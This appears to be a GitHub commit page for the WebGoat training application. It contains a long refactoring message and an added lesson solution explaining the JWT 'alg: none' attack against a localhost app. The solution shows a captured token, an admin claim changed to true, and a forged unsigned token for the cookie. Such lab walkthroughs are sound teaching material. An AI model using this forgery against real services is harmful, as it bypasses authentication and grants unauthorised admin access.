Refactoring (#1201)
* Some initial refactoring * Make it one application * Got it working * Fix problem on Windows * Move WebWolf * Move first lesson * Moved all lessons * Fix pom.xml * Fix tests * Add option to initialize a lesson This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens * Clean up pom.xml files * Remove fetching labels based on language. We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages * Fix SonarLint issues * And move it all to the main project * Fix for documentation paths * Fix pom warnings * Remove PMD as it does not work * Update release notes about refactoring Update release notes about refactoring Update release notes about refactoring * Fix lesson template * Update release notes * Keep it in the same repo in Dockerhub * Update documentation to show how the connection is obtained. Resolves: #1180 * Rename all integration tests * Remove command from Dockerfile * Simplify GitHub actions Currently, we use a separate actions for pull-requests and branch build. This is now consolidated in one action. The PR action triggers always, it now only trigger when the PR is opened and not in draft. Running all platforms on a branch build is a bit too much, it is better to only run all platforms when someone opens a PR. * Remove duplicate entry from release notes * Add explicit registry for base image * Lesson scanner not working when fat jar When running the fat jar we have to take into account we are reading from the jar file and not the filesystem. In this case you cannot use `getFile` for example. * added info in README and fixed release docker * changed base image and added ignore file Co-authored-by: Zubcevic.com <rene@zubcevic.com>
This commit is contained in:
Nanne Baars
GitHub
@ -0,0 +1,91 @@
|
||||
=== Solution
|
||||
|
||||
The idea behind this assignment is that you can manipulate the token which might cause the server to interpret the token differently. In the beginning when JWT libraries appeared they implemented the specification to the letter meaning that the library took the algorithm specified inside the header and tried to work with it.
|
||||
|
||||
[quote, https://tools.ietf.org/html/rfc8725#section-2.1]
|
||||
____
|
||||
Signed JSON Web Tokens carry an explicit indication of the signing
|
||||
algorithm, in the form of the "alg" Header Parameter, to facilitate
|
||||
cryptographic agility. This, in conjunction with design flaws in
|
||||
some libraries and applications, has led to several attacks:
|
||||
|
||||
* The algorithm can be changed to "none" by an attacker, and some
|
||||
libraries would trust this value and "validate" the JWT without
|
||||
checking any signature.
|
||||
|
||||
* An "RS256" (RSA, 2048 bit) parameter value can be changed into
|
||||
"HS256" (HMAC, SHA-256), and some libraries would try to validate
|
||||
the signature using HMAC-SHA256 and using the RSA public key as
|
||||
the HMAC shared secret (see [McLean] and [CVE-2015-9235]).
|
||||
|
||||
For mitigations, see Sections 3.1 and 3.2.
|
||||
____
|
||||
|
||||
What basically happened was that libraries just parsed the token as it was given to them without validating what cryptographic operation was used during the creation of the token.
|
||||
|
||||
==== Solution
|
||||
|
||||
First note that we are logged in as `Guest` so first select a different user for example: Tom.
|
||||
User Tom is allowed to vote as you can see, but he is unable to reset the votes. Looking at the request this will return an `access_token` in the response:
|
||||
|
||||
[source]
|
||||
----
|
||||
GET http://localhost:8080/WebGoat/JWT/votings/login?user=Tom HTTP/1.1
|
||||
|
||||
access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgxMjg1NjYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.rTSX6PSXqUoGUvQQDBiqX0re2BSt7s2-X6FPf34Qly9SMpqIUSP8jykedJbjOBNlM3_CTjgk1SvUv48Pz8zIzA
|
||||
----
|
||||
|
||||
Decoding the token gives:
|
||||
|
||||
[source]
|
||||
----
|
||||
{
|
||||
"alg": "HS512"
|
||||
}
|
||||
{
|
||||
"iat": 1608128566,
|
||||
"admin": "false",
|
||||
"user": "Tom"
|
||||
}
|
||||
----
|
||||
|
||||
We can change the `admin` claim to `false` but then signature will become invalid. How do we end up with a valid signature?
|
||||
Looking at the https://tools.ietf.org/html/rfc7519#section-6.1[RFC specification] `alg: none` is a valid choice and gives an unsecured JWT.
|
||||
Let's change our token:
|
||||
|
||||
[source]
|
||||
----
|
||||
headers:
|
||||
|
||||
{
|
||||
"alg": "none"
|
||||
}
|
||||
|
||||
claims:
|
||||
|
||||
{
|
||||
"iat": 1608128566,
|
||||
"admin": "true",
|
||||
"user": "Tom"
|
||||
}
|
||||
----
|
||||
|
||||
If we use WebWolf to create our token we get:
|
||||
|
||||
[source]
|
||||
----
|
||||
eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2MDgxMjg1NjYsDQogICJ1c2VyIiA6ICJUb20iDQp9
|
||||
----
|
||||
|
||||
Now we can replace the token in the cookie and perform the reset again. One thing to watch out for is to add a `.` at the end otherwise the token is not valid.
|
||||
|
||||
|
||||
|
||||
== References
|
||||
|
||||
For more information take a look at the following video:
|
||||
|
||||
video::wt3UixCiPfo[youtube, height=480, width=100%]
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user